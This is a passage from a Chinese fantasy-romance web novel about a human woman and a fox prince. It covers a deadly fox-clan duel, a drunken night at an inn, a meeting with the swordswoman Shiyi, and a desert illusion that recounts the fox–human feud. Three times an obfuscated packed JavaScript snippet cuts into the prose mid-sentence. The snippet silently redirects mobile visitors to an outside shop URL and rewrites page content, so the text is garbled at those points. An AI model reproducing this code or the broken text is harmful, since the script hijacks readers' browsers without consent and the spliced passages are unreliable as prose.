“不怕,就当积累实战经验。”祝长生眉目温和,语气舒然,“再说了,你未必会输。” 元和景不明白他为何能如此笃定,但大敌当前,眼下也容不得她想更多,招呼一声“那我上了”之后,就强装镇定走上前去。 刚在正中央的空地站定,她就听见那个胖子毫不避讳地嫌弃道:“竟然挑了个娘们儿,真给咱丢脸。” 旁边那个最瘦的连忙附和:“我早就说了不让他跟着咱,你偏不听,这下好了……” “行了行了,等他赢了再说。” 即便是再怎么看不上这个四弟,他们也坚信元和景一定会输,如此,她更要全力以赴,偏不能就这么遂了他们的愿。 对面的矮子不知从哪召出了武器,看上去像一把农人耕作时常用的锄头,只是被改成了易于携带的大小,头部也绝非普通铁器铸成,让人猜不出有何用处。 不必多说,元和景双手探于肩后拔剑出鞘,摆出迎敌的姿态。 那矮子轻喝一声后便提着锄头直冲她而来,眼见着攻势越来越近,元和景将剑柄捏紧好几次,浑身力量尽数汇于双臂,只等着在最佳时刻挥出那一击。 而就在她刚打算出手时,对方却在下一刻毫无征兆地消失了。 变故只在眨眼间发生,等元和景终于反应过来时,原地只剩下一个十分规整的土坑,翻到外面的土甚至还是潮湿新鲜的。 ……? 不止是元和景,这下连其他狐族也愣住了。 大家七嘴八舌地讨论着,有几个大胆的甚至靠近土坑去看,元和景有些迷茫地收起架势,须臾后却听见祝长生的声音远远传来—— “小心!” 话音刚起时,背后一股凉意油然而生,元和景凭着本能迅速转身挥剑,只听得“当”一声响,剑锋和锄头自半空相接,霎时间火星四溅。 短暂的正面交锋后,矮子又迅速钻回坑里,还不等元和景松下一口气,耳侧的风速骤然加快,她调转方向反手刺去,却和迎头劈下的锄头几乎擦身而过。 按理说她该迅速调整身位趁势追击,可对方却一扭身,又从凭空出现的洞口消失不见了。 这下是空有功夫也无处可用,元和景心里着急,但矮子动作快得根本不给反应时间,她只能狼狈地抵挡,反观对方,却凭着周围坑洞闪躲得越发游刃有余,一招一式皆出其不意。 随着时间流逝,元和景逐渐力不从心起来,就这么抵挡下去也不是办法,可她从未遇到过如此不按套路出牌的对手,除了被动接招外想不出任何办法。 周围有啧啧惊叹声起,对面观战的三人也露出势在必得的微笑,元和景想要尽快找出破局之法,可越是心急,她手下的招式反而越发凌乱。又一次勉强挡下攻势,她才刚刚站稳,就见几缕乌发迎风而落,正好掉在脚边。 若是刚才少避开半分,现在落下的恐怕就是她的一条胳膊了。 怎么办…… 对失败和受伤的恐惧虽迟但到,让她忍不住发起颤来。到现在她才明白,即便当初在大理寺和大家比武从未赢过,他们也都是手下留情了的,她从未像现在这样,如此真实地接近过输了的代价。 下一击还不知会在什么地方、什么时候出现,元和景只感觉自己快要捏不住剑柄。就在这时,祝长生的声音再度出现。 他说:“不要低估了断风双剑的力量。” 元和景心中一动,下意识转头看去,对方目光灼灼,字句间悄然多了几分温情和旖旎:“还有你自己的。” 若是对方不愿露面,那便直接用蛮力逼他出现,蚍蜉尚可撼树,她还有双剑,为何不可斩天破地? 决心已下,那便姑且一试。 元和景深吸一口气,努力忽略掉周围的窃窃私语,待所有力量都汇聚于手上时,她调转双剑用力向下刺去,剑身入地激起阵阵飞沙,伴着轰然一声响,侧方洞口里吐出个矮小的身影,直直被震上了几尺高的半空。 与此同时,强劲的剑意裹挟着气流向周围四散开,反应不及的狐族们被接连掀翻在地,而元和景还保持着半跪于原地的姿势,任凭风起烟散,衣摆乱舞,她自屹然不动。 余光瞥见目标的出现,她拔剑起身时足尖轻点,便借着这力道腾空而起,那矮子还未能有反应,便被单剑洞穿了腹部,只能如折翼之鸟般坠落在地,顿时鲜血四溅,在大片黄土间染上点点腥红。 剑意汹涌,元和景支撑不住连连后退,落地时险些摔个脸着地,幸好被及时赶来的祝长生从背后扶住,即便剑意已平息,她却手抖得厉害,骨子里的震颤感还久久未散。 “这什么……断风双剑,竟然这么厉害?” 元和景艰难地咽了下口水,感叹道。 祝长生虚虚揽着她的腰,真心实意地道:“是你厉害。” “威力大小不在于剑本身,而在于执剑者。我就说过,你会赢的。” 男人语气认真,实在让人很难不信服,元和景刚想转头去看他,就听见前方传来一声惨叫—— “他……他都要断气了,怎么还没被送下去!” “真的假的!怎么回事?” 按照幽山的规则,受重伤者便会被自动看作放弃,然后送回山脚。可这时他们才发现,不仅是刚刚败下阵来的矮子,就连最开始被削掉一条手臂的大汉也还在原地,伤口处血流不止,吐息也逐渐微弱,再不得到医治,便会因失血过多而身亡。 这几声喊叫很快吸引了所有狐族的注意,之后便是数不尽的恐慌与哀嚎,如果不会丧命的最后底线失效,也就意味着即便重伤了也只能等死,或者直接被对手了结。这不再是一次有商有量的寻宝游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133474|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏,而是变成了性命关天的生杀场。 自幽山关闭后,下去的路便雾障封死,如此,唯一能活着出去的机会便只有走上万狐决斗场,并赢得最终胜利。 “怎么会这样!不是说好了不会死人的吗!” “不行,我不走了我要回去,我要回家去……” “别动手,我劝你先别动手啊……” 刚才的朋友不再是朋友,一片哀嚎声中,已经有人意识到这一点,开始对旁边的人拔刀相向。趁着混乱,祝长生揽着元和景的腰悄然飞入密林,借着茂盛林叶为隐蔽,一路畅通无阻地逃离了此处。 元和景只能紧紧拽住祝长生的衣服,脑子里已然乱成一锅粥,先是被莫名其妙送上幽山,现在又不得不以性命相搏,背后之人究竟是要他们帮忙夺得诡术录,还是要借此他们于死地,她现在完全想不清楚。 轻功途中经过不少路段,随处可见刀光剑影的厮杀,有些地方甚至已经堆了好几具尸首,空气中的血腥味越发浓郁,绿草地上一片鲜红,原本的欢乐已荡然无存,唯有生死之交的人间炼狱正在酿成。 为免被卷入其中,他们只能一刻不停地逃,不知穿过了多少片林子,最终在暮色四合时,他们才落脚于一处客栈。 无心再去想为何这荒郊野林里也有客栈,只是四下人迹稀少,而且并未有打斗的痕迹,能有这样一个能暂时歇脚的地方已是万幸,哪里还有什么选择的余地。 顾不上长满青苔的墙角和狂乱的飞蛾,元和景大步迈过门槛,险些被扑面而来的霉味儿熏晕过去。 “哟,来了个漂亮妹妹,要吃饭还是住店啊。” 柔媚的声音自柜台后传来,元和景定睛一看,发现竟是位十分妍丽的女子,眼尾上翘如勾,眨眼间好似有水波流转,微微一笑媚态横生,好似要把人的心魄都夺了去。 发着愣的功夫,元和景的手臂已被一条尾巴卷着带去了柜台前,姿态亲昵至极。她下意识扭头向祝长生求助,却见他一脸不善地盯着那名女子,活像那被抢了老婆的怨夫。 无奈下她只好自己出面,不尴不尬地笑着说:“那个……我们住店,请问姐姐,还有空房间吗?” “当然有,妹妹想要多少有多少。”女子捂着嘴咯咯一笑,嗓音婉转,纤纤玉指在元和景手心轻柔地滑过,勾起无限暧昧。 元和景浑身一颤,险些原地跳起来,果然是能惑书生、迷帝王的狐族女子,方才那一下莫说男人,就连她都要站不稳了。 背后的气压明显又降低了些,元和景不敢耽误,连忙又问:“那……那一间房,多少钱?” “诶哟,妹妹这么水灵,姐姐怎么舍得要钱呢?”女子的手从掌心滑到她的肩头,不知不觉间已成了个将她半揽在怀里的姿势,“不如这样,妹妹陪姐姐一……” “放肆!” 一声怒喝平地惊雷般响起,紧接着元和景便被拽进了一个熟悉的怀抱中。 “骊山十皇子在此,尔等小妖还敢造次,是想到狐王宫尝尝十大酷刑么?” 52. 未醉似醉 此话一出,那女子立马跟见到鬼似的缩到了角落,耳朵耷拉着,尾巴将身子严严实实遮住,将房间牌远远丢给他们后就一动也不敢动了。 元和景:“……” 祝长生还阴沉着脸,一言不发地拉她上了二楼。 虽然从外面看着很是破败,但二楼却是另一片天地,走廊宽敞而干净,脚下还铺了薄毯,房间内古朴素雅,饭桌和床之间的屏风上绣着山水画,规格看上去和京城的酒楼也不遑多让。 桌上的酒菜还冒着热气,不知是用什么术法提前布好的,正好跑路大半天还没来得及吃饭,元和景也就顺势往凳子上一坐,拿起酒壶就给自己倒了满满一杯。 “对了,你会喝酒么?” 元和景突然想到这一点,对刚走进来关好门的男人说。 祝长生悠悠然自她对面坐下,道:“没喝过。” “不会吧。”元和景狐疑地盯着他,“你做大理寺少卿这么久,竟然没有必须要喝酒的时候?” 祝长生道:“我自然有我躲酒的办法。” 元和景不知怎的突然来了兴致,将倒好的那杯往他面前一放,挑衅似的扬了扬下巴,道:“那你到底会不会?会就喝给我看看。” 此番场景怎么看怎么像一个恶霸逼良为娼,强迫无辜男子喝酒,但祝长生还是不动声色,默默将酒杯推远了些,说:“我并非是不会喝,只是不想。清醒本就难得,我却见过许多人豪掷千金,只愿永醉不醒,如此容易被外物操控,那还有何为人的必要?” 元和景听不得这些自诩清醒的大道理,仰头把手里这杯酒一口闷下,清凉醇香的酒液滑过喉咙,只让人觉得舒爽。 “一直保持清醒才累呢,要我说,应该是人生在世,难得糊涂。” 她一边说着,一边举起酒杯,男人捏着茶杯和她碰了碰,揶揄道:“也不过是自欺欺人罢了,难道把我们送上幽山的人,还有让幽山规则失效的人,你都不想知道了?” “那倒不是。”提到这些,元和景又忍不住惆怅起来,思忖过后,她问,“你觉得做这两件事的是不是同一个人?” 祝长生目光沉着,不答反问:“你觉得呢?” 元和景也不推脱,道:“我觉得是。” “为何?” 她摸着下巴,开始头头是道地分析起来:“这两件事都有一个目的,就是让我们登上山顶,参加万狐决斗场。所以我们要想抓到他,就只能通过层层厮杀,活到最后。” “你说得不错,先是利用狐宫守卫将我们送上幽山,之后又用了不知什么方法使得幽山有来无回,这背后之人实力定然不容小觑。” 说着,祝长生颇为感慨地叹了口气:“只是我没想到,竟然有人敢在骊山闹出如此大的动静,当真不怕狐王震怒。” 元和景问:“狐王震怒了会怎么样?” 祝长生看着她,语气不知为何郑重了许多:“狐王是万狐之首,拥有着掌控所有狐族性命的力量,为了使狐族安定,狐王必须终年沉睡,可若是狐王震怒,不仅所有狐族会受到影响,也会为人族带来许多无妄之灾。” 元和景不禁咂舌,没想到她只是来参加个寿宴,却能牵扯到两族命运,到底是人心难测,她想要低调本分行事,可偏有人不让,非得让她上幽山杀个你死我活。 越想越觉得郁闷,倒不如先一醉方休,起码今夜能睡个好觉。如此,元和景又把酒杯举到祝长生面前,招呼道:“再喝!” 男人看起来像在想什么事情,被这一下猛地叫回神,下意识端起手旁的杯子和她相碰,一大口闷下肚后,他的脸色却突然变了。 元和景本想招呼他再来,却见他不知何时已经闭上了眼睛,心下顿时骇然,惊道:“不是吧,你怎么坐着也能睡着?” 祝长生一动未动,只有白净的脸上不经意爬上淡淡红晕。 或许是轻功飞了太久,消耗有些大,元和景又唤了几声,见他还是没反应,只能认命地起身,打算把他扛到床上去。 可刚走到身旁,祝长生却又睁开了眼,正直勾勾地盯着她。 “诶,你这么快又醒了?那你自己到床上睡去,撑不住就早些休息。” 元和景说着便要转身回到座位,手却被猛地拽住了。 “你怎……” 话说到一半,她才终于发现男人的不对劲之处。 身子依然坐得端正,甚至连姿势都没变过,可那双琥珀色的眼里却不知何时蒙上了一层水雾,七分迷离,朦胧似纱,配上眼角晕开的浅淡绯色,怎能不叫人心颤。 元和景哪里见过祝长生这副样子,差点以为自己撞鬼了,等拿起桌边的空杯闻过后才知道,他是把最开始倒了没动的那杯酒喝下去了。 “还说你会喝酒,这不是一杯就醉了?” 元和景反应过来后只觉得好笑,得意洋洋地嘲讽了好一番才想着带他去床上,但祝长生不知道突然耍什么小性子,拽也拽不动,哄着也不愿意走,非拉着她的手不知疲倦地喊着“娘子”“夫人”。 要放在平时,祝长生这么叫她也有许多次了,可今天或许是喝过酒的缘故,他的嗓音莫名软了不少,吐字时又轻又慢,尾音带着似有若无的钩子,偏偏还盯着元和景的脸叫得认真,硬生生让她都不好意思起来。 “你……你冷静点,把嘴闭上,我带你进去睡觉。” “不要。”祝长生把她的手拉得更紧,就是不让她走,“要娘子。” 元和景彻底没办法了,硬的不行只能来软的,干脆扯过椅子坐在他面前,讲道理似的问:“你要娘子,娘子来了,走吧?” 她还在好言相劝,却没想到对方直接上手,伸手一捞就把罩进了怀里,捧着她的脸不管不顾地吻了下来。 唇瓣温热,携着似有若无的酒气,明明她也喝的不多,意识却逐渐昏沉,好像也要醉了。 不同于之前在马车里,祝长生这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137170|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻得格外深,像是要把她整个人都吞吃入腹,元和景有些受不了地推他,男人这才松开了桎梏。只是还没等她喘过气,铺天盖地的吻又迎面落下。 恍惚间,元和景只觉得身下一轻,整个人便腾空而起,有坚实的托举感落在大腿,她下意识顺势而为,将小腿勾到了男人紧实的腰腹上。 祝长生虽然吻得粗鲁,和将她放在榻上的动作却温柔小心至极,衣领不知何时乱了,腰带也松开了大半,铺天盖地的酒气像是要把人吞没,可她今晚分明没喝多少。 暧昧的抚摸从脸颊滑至颈侧,男人指腹带了一层薄茧,所经之处惹起阵阵酥麻。元和景不知不觉间已软了身子,只想放弃思考,任由自己沉溺进欲海,可隔壁房间骤然传来一声巨响,生生将满室的暧昧气息打断。 有了前一晚的经验,元和景几乎是立马惊醒过来,双手用力将祝长生大力推开,也许是醉意上头,男人并未反抗。她三两下帮祝长生盖好被子,又将凌乱的衣服简单整理了一番,丢下句“我出去看看,你先休息”后就忙不迭出门去。 一边走着,她一边才觉得懊悔,现在他们还处在这生死未定的幽山里,说不定下一秒就会身陷囹圄,怎么还能这般胡闹? 祝长生喝醉了,那便不说,可她明明是清醒的,怎么也犯起这种糊涂来了。 她手忙脚乱地系好腰带,心中连叹色令智昏。 隔壁房间的响动还在继续,只是已经没有方才那么大,一男一女的交谈声时有时无,元和景只能隐约听见“执迷不悟”“走上歧途”之类的字眼,显然他们聊得并不愉快。 如此来看,眼下或许只是两个同行的人出了争执,甚至动起手来,并不是冲着他们来的。但保险起见,元和景并没有立刻回屋,而是躲在临近的柱子旁,打算再继续观察一会。 毕竟她也需要时间,把身心的狼藉都好好处理一番。 元和景深吸一口气,努力压下现在不该有的躁动。 可也就是这半刻不到的功夫,祝长生已然从屋内出来,还不等元和景上前阻止,他已经一脚将隔壁房间的门踹开,举着明晃晃的剑喝道:“把我娘子交出来!” 元和景顿时无语凝噎,一时间站在原地动也不是不动也不是。 眼下这个情况,想毫发无伤地全身而退肯定是不可能了,元和景只能硬着头皮上前,试图和屋内的人求个情,可刚走到门口,便看见一个黑影被径直打飞了出去,窗棂登时四分五裂,碎渣哗啦啦地散落一地。 ……这还能求得到情吗? 元和景埋怨地看向闯祸的人,却见祝长生虽然还手举着剑,眼睛却已经闭上,呼吸也很平稳,俨然是睡过去了。 闹完事儿就睡,果然是极不清醒,看来祝长生不愿意喝酒也是正确的选择。她也得记得,以后再也不会让他喝了。 元和景闭了闭眼,总算勉强接受了现状,刚要开口说话,就见屋内那人不掩诧异地道:“胡拾?” 53. 狐族亲戚 竟然还是熟人! 元和景心下大骇,只能借着并不明朗的夜色一个闪身躲到门后,先看看对方会作何反应。 但祝长生本人还醉着,半天也没能回话,那人明显发现了不对,脚步声起,应该是他正在走近。 “放开我娘子!” 沉默许久的祝长生突然大喝出声。 元和景:“……” 这一出让对方更摸不着头脑,同时也更警惕了些,男人不再往前走,而是试探着问:“你真是胡拾?” 元和景想不明白为何祝长生会笃定她被抓走了,但眼下要是再不露面,事情恐怕就不好收场了,她清清嗓子,刚打算走出来,就见更快一步的祝长生已经提着剑冲了上去,和男人乒乒乓乓地对打起来。 …… 醉酒祝长生的心思你别猜。 但即便是喝醉了,他的一招一式也丝毫不含糊,对打中未见半分颓势,元和景稍稍放心了些,她自知在这里帮不上什么忙,于是便决定先出去找那个被男人打飞出去的女子。 此处房间的窗外是一片树林,边缘处树木稀疏,绿草间盛开着点点小花,而等元和景赶到时,那之中已出现了一个格格不入的大坑。 她小心翼翼走上前,从坑外向下看,问道:“里面有人吗?” 等待片刻,一声虚弱的“有人”遥遥从下面传来。 是个女子声音,听起来应该受了很重的伤,只是坑里太黑,元和景看不清是何情况,只能先暂且按兵不动。 “姑娘,劳烦你咳咳……救救我……” 那声音听着越发断续,看来她伤得真的很重,如此,就算救上来应该也不会对自己有多大威胁,元和景心想着就当日行一善,当即起身去找可以用来救人的工具。 她在不远的柴房外找到根还算结实的杆子,确定那女子还有力气爬上来之后,便打算将杆子放下去。 可还没等放到一半,不知从哪飞来的剑鞘猛地打在竹竿上,元和景没拿稳手一抖,杆子便径直掉进了坑里。 “欸我……” 惊呼也没来得及全部出口,她只觉得腰身一紧,然后整个人便腾空而起,眨眼间便被带着飞出了好远。 月光清淡如水,周身景色几经变换,最终停留在一处破屋之后。 脚下刚有实感,腰上的桎梏很快消失,元和景踉跄着站稳身子,只瞧见月色下一个修长削瘦的身影。 一袭黑衣悄然同夜色融为一体,可因为实在太过熟悉,元和景下意识脱口而出:“十一。” 那背影蓦地一僵,可她没回头,也没说话。 元和景心中大喜,连忙快步跑上前,惊讶地问:“太巧了,你怎么也会在这里?” 行至半途,长剑倏然出鞘,刺耳的嗡鸣声划破寂夜,像是一种不言自明的警告。 元和景被吓停在原地,不明所以道:“怎么了十一,是我啊,你刚才是救了我对不对,那个女子有问题。” 她自顾自地说了一大堆,而对方也终于大发慈悲地开口,声音冷冷:“在这种弱肉强食的地方,最好不要随便向别人施舍善心,胡依不是你能惹得起的人。” 冰凉的语气如一盆冷水,顿时将元和景从头到脚浇了个清醒。她现在所在之处是狐族的幽山,人族无法以正常手段踏足,既如此,十一出现在这里,又怎么会有什么好事? “话是这样说,可你还不是救了我?”元和景稳下心神,不动声色地开始套话,“原来那个女子叫胡依,听上去似乎跟胡拾有点关系。” 十一依然没有动作,只是周身气场和缓了许多,她没什么感情地道:“两人是姐弟,论辈分,你也该叫她一声大姐。” 没想到这一趟竟是遇到亲戚了,要是这么说的话,和胡依不对付的那名男子,八成也和胡拾关系匪浅。这么想着,元和景又问:“那你呢?你现在应该好好的待在大理寺才对,莫非你也是来抢诡术录的?” 她这话问得直白,不仅直接探了十一的底,无形中也罢自己此行的目的交代了。可元和景也知道,十一心里没那么多弯弯绕绕,你会问她便会说,开门见山才是与之交流的最好方式。 不出所料,片刻后,十一淡淡道:“行走江湖,拿钱办事,我也不过是别人手里的一把刀。有人对诡术录势在必得,所以我劝你,不要再想着往上走。” 说罢,十一便不再停留,踏着草叶逐渐消失在无边墨色之中。元和景愣愣地在原地消化完信息,这才想起被丢在客栈里的祝长生。 可推开门,客栈里却是大变样,桌椅板凳倒了一地,纱帘被绞得稀碎,唯有大堂正中央那块还算完好,桌边一左一右分别坐着祝长生和另一名男子,而前台的侍者正抱着手坐在两人中间。 “砸了我的店就得赔,否则就别想走!” 而还没醒酒的祝长生已经指着对方先发制人:“是他先动手的。” “你竟然恶人先告状,明明是你……” “就是你先动的手。”元和景大步上前,信誓旦旦地道,“这位公子,你之前在房间里将一位姑娘打伤,动静之大闹得我们不堪其忍,要不是你,我夫君怎会出手,又怎会把掌柜的店弄成这样?” 提及此,侍者更是怒火中烧,再也不见最开始那副魅惑众生的模样,死死拽着那男人的手,怒斥道:“你还敢狡辩,今天要是不把这笔账算明白,我绝对不会放过你!” 虽然刚才元和景也没说错,但把所有责任都推到对方一人身上,她还是稍微有些过意不去,只能拉着祝长生逃也似的溜回二楼了。 偏偏某个闯大祸的醉鬼还一脸得意,邀功似的说:“他打不过我!” 楼梯上没有点灯,元和景试探着踩上一阶,站稳后才把人又扶上来,嘴里只顾的上敷衍地道:“好厉害好厉害。” 可祝长生像是受了莫大的鼓舞,又说:“他说也没说过我!” 元和景:“……啊是是是。” 祝长生:“他长得也没有我好看!” 元和景:“嗯?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143770|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祝长生凑过来在她的颈窝蹭来蹭去,含含糊糊地说:“别跟他走,也别喜欢他……” 元和景哪里见过祝长生撒娇的样子,顿时如遭雷击般的愣在原地。如果祝长生清醒后知道自己曾做过这样的事,说不定会气得把自己一掌拍晕过去。 所以说,今晚发生的事还是烂在肚子里好了。 后半夜总算相安无事,元和景一觉睡到天光大亮,睁眼时正好和满脸迷茫的祝长生面面相觑。 “那个……你睡得还好吗?”元和景小心翼翼问。 祝长生揉着眉心,看上去很是疲惫的样子,声音还带着嘶哑:“不太好。” “那昨晚发生了些什么,你可还记得?” 祝长生看着她,缓缓地摇了摇头,眼中的迷茫不似作伪。 “啊是这样的!”元和景忙不迭将打好的腹稿丢出,“你昨晚不小心喝了杯酒,然后就睡过去了,我废了好大力气才把你扛到床上,然后你就睡了一夜。” 对上祝长生略带怀疑的目光,她还十分坚定地点了点头,又道:“就是这样的。” 周围没有其他人,祝长生无所对证,只能接受了元和景的说辞。洗漱过后,他们一起下楼,侍者不在,只有满屋的狼藉。 元和景生怕祝长生多问,手忙脚乱地拉着他离开了。 若不论眼下的境地,此时的幽山还是极为舒服的。微风徐徐,日光和煦,清脆的虫鸣唤醒大地,于是万物苏生,漫山花开。 想起昨晚发生的一切,元和景略去前因后果,只说偶然遇到了十一,然后将她所说全部告诉了祝长生。 除元和景之外还有别的人族也混了进来,祝长生听过后却并不惊讶,只道:“十一与他本就不是隶属关系,守诺虽是江湖道义,但赌注之外,十一有绝对的自由,况且……她原名也并非十一。” 元和景摸着下巴,隐约明白了其中关窍,胡拾在家里排老十,于是就给十一取代号为十一,不得不说,他们狐族对排数的执着真是一脉相承。 “十一不叫十一,那叫什么?” 祝长生睨她一眼,从容道:“十一本名谭歆柔,乃是溪山剑派掌门人的首席弟子,自成年后便开始四处游历。如今岳掌门身体每况愈下,或许谭姑娘不久后便要回去了。” “原来如此。” 十一从不掩饰她身上的江湖气息,一举一动也皆是大侠作风,下次见面,元和景也该换个称呼了。 静默片刻,祝长生先开口:“你说十一曾遇到胡依,此事当真?” 为免祝长生生疑,元和景干脆隐瞒了她和胡依打过交道的事,点点头道:“不错,她说胡依也在争夺诡术录,而且,十一也很有可能就在为胡依做事。” 说着,她忍不住有了一个猜测,瞧过祝长生的神色还算平和时,她才说:“你觉得,让幽山规则失效的人,会是胡依么?” 身为狐王的长女,胡依拥有仅次于狐王的能力,如果是她出手的话,让幽山有来无回也不再是什么难事。 54. 人狐两立 沉吟片刻后,祝长生道:“我无法断定。” “虽然名义上是姐弟,但胡依在我很小的时候便经常外出游历,再加上狐族对血缘本就淡薄,自我离开骊山后,就鲜少再见到她了。” 如此说来,这一切是胡依布局的可能也并非没有,只是元和景不明白,她和祝长生本无意争夺秘术,又为何会被卷入其中? 关键之处尚未明了,还是要再向上走才能找到答案。 这一趟由元和景带路,昨日轻功逃命时她曾见到过一小片山楂树林,因此再找起来也并未废多大力气,而当初她在摊贩那里买来的近道入口,也正在林子边缘。 “四棵并排的山楂树,一棵开花不长叶,一棵长叶不开花,一棵无叶也无花,一棵长叶也开花……”元和景喃喃说着,最后打了个笃定的响指,“就是这里了。” 祝长生心下明了,也不问由来,只道:“将生死押在这种真假未明的消息上,就不怕是陷阱?” 元和景睨他一眼,说:“那你走不走?” 祝长生立马正色,道:“走。” “那就走!” 究竟是捷径还是陷阱,一走便知。 两人从山楂树之间的空隙并肩迈过,脚下踩到的不再是湿润的草地,而是松软又干燥的黄沙。 风起云涌,景色变换,沙丘从眼前绵延起伏至前路尽头,目光所及处寸草不生,满目枯黄。 “这……” 元和景还没从这一系列变故中回神,只能目瞪口呆地看着狂风中肆意狂舞的飞沙。相较下祝长生倒镇定许多,道:“能在幽山造出此等幻境,这条近道来头还真不小。” “那还走吗?”元和景咽了口口水,有些不确定地问。 她想过这后面是深山野道,又或是数不清的千年精怪,可万万没料到会完全踏进另一个地方。况且沙漠里凶险异常,要前面真是陷阱,他们连躲都找不到地方。 风水轮流转,这下到祝长生粲然一笑,道:“走啊,怎么不走?” 元和景见他这副悠然自得的样子,就知道此行定然是有把握的,于是也不再犹豫,果断踏入了黄沙之中。 沙漠的空气不比幽山,又干又热,太阳也异常毒辣,元和景把外衣解下来顶在头上,遮挡效果也聊胜于无。 但令人宽心的是,他们走出很远都没发现可疑之处,预料中的妖魔鬼怪也统统没有出现,如此,只是走过这一段路的话,的确要比从大路上幽山轻松得多。 行至半途,元和景叉着腰踩在土包上歇息,却见不远处的沙地中有什么东西在动,凹陷下去的沙子逐渐形成一条长长的痕迹,她连忙惊叫道:“祝长生,快看那里!” 只因为太久没喝水,她嗓子哑得厉害,再加上这一口气又吸进了不少泥沙,呛得她连连咳嗽。 “这是在……画画?” 元和景咳得脸通红,下意识抬头去看,只见那片广袤而平整的黄沙之上,一只四脚着地的狐狸轮廓已跃然其间,而造成这些痕迹的东西还没消失,在狐狸前方继续有条不紊地勾勒着,很快,一位威严的白须老者出现,正伸出手点在那狐狸的头顶。 她总算顺过了气,道:“这是画的什么,一只狐狸被仙人点化了?” 周围被画上的树木说明此事发生在山林中,而就在最后一画落成后,就再也没有新的痕迹出现了。 祝长生面色凝重,叫人看不出是何情绪,道:“仅凭此还不能说明什么,前面或许还有线索,我们继续走吧。” 循着这样的念头,他们开始留意起四周的沙地来。果然如他所说,走出约莫有半里后,侧前方的地面上再次有痕迹出现。 先画出来的同样是一只狐狸,只是这次它已立起了身子,一只前爪指向前方,像是在发号施令,不过多时,一个皇冠也在狐狸的头上缓缓成型。 如此,这定是狐王不错,这里所说的,或许正是几百年前的狐族往事。 在那只戴王冠的狐狸周围,出现越来越多下跪俯首称臣的狐狸,而在最外围,好几只身披盔甲的狐狸正拿着武器,将野猪和老虎等动物击退。 “我明白了!”元和景高声道,“这是说,这个被仙人点化的狐狸组建了狐狸军队,保护了其他狐狸不被外族入侵,而受到庇佑的狐族们也甘心被它统领,狐狸们逐渐聚集在一起,形成了一定规模。” 祝长生道:“不错,这样的故事我也曾在幼时听长辈讲过,最开始的狐族本是分散而居,故而经常受到其他大型动物的侵扰。后来初代狐王出现,狐族在他的带领下团结起来,共同抵御外敌,最终为我狐族争得了一片不受打扰的繁衍之地,也就是骊山。” 提及此,元和景不免想到当初祝长生所说,人族和狐族结怨已久的事,或许今日借由这些简画,他们便能把其中真相看得分明了。 再往前走,痕迹同样于半里之外出现,只是这一次,画面里又出现了新的角色。 初代狐王坐于高位,下方捧着财宝向前进献的,赫然是几个人类。 他们没有狐族的耳朵和尾巴,身上衣服的制式和宫中人差不多,极有可能是人族皇帝派来的使臣。而从献上宝物这一举动来看,此行应是为两族交好。 在使臣队伍的最后,还有一个被纱巾遮住面容的女子,打扮十分华丽,从衣着来看大概率是位新娘子,或许也是此次来访送上的“礼物”之一。 派自己的子女前去和亲,这的确是人类皇帝惯用的求和手段。但若是两方早在那个时候就已建立起互通有无的关系,之后又为何会走向敌对? 越是看下去,元和景心里的疑窦就越多,但很快,下一幅画便为她带来了解答。 这次画面的主角不再是初代狐王,而是一名女子,身上穿着狐族的服饰,却正在和一名人族凑近说着什么。元和景敏锐地发现,那痕迹出现的顺序也开始变化,原本都是先画好主体,最后勾勒背景,但这次却是先将环境勾好,最后才画出人物身上的细节。 最后一笔正好落在那个人族的脸上,停顿片刻后,一个弧度诡异的微笑缓 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分明只是一片枯黄的沙地,元和景却仿佛从压抑的画面里看到了灰烟、鲜血,和此起彼伏的惨叫。 “走吧,前面应该还有。” 祝长生的声音唤回思绪,元和景闷闷地“嗯”了一声,踩着他的脚印继续前行。 战争之后,狐族远居山林,人族则在城镇里繁衍生息,一条密不透风的长线贯穿上下,彰示着两方此后再无任何交集的可能。 这便是,狐族和人族从交好走向对立的真相。 元和景怔怔地看着那条长线,却什么话也说不出。 已是上百年过去,再多指责也是无用,人性本就难测,本族之间尚且尔虞我诈斗争不断,狐族作为一种神秘而强大的物种,自然很难不受到人族的觊觎。 遥望前方,沙丘的尽头就在天地交接之处,想必这条近道的出口也离得不远了。 痕迹消失,唯余残风阵阵,积起黄沙成浪。 见元和景半天不说话,祝长生含笑着去牵她的手,道:“怎么,心疼了?还是愧疚了?” 元和景撇撇嘴,将他的五指回扣住,说:“我有什么好愧疚的,反正这些事又不是我做的,倒是你还有闲心来问我,这可是你的老祖宗。” 为了强调,她刻意将“你”字咬得格外重,祝长生听过后却只笑,道:“都是几百年的事了,事已至此,多说无益。” 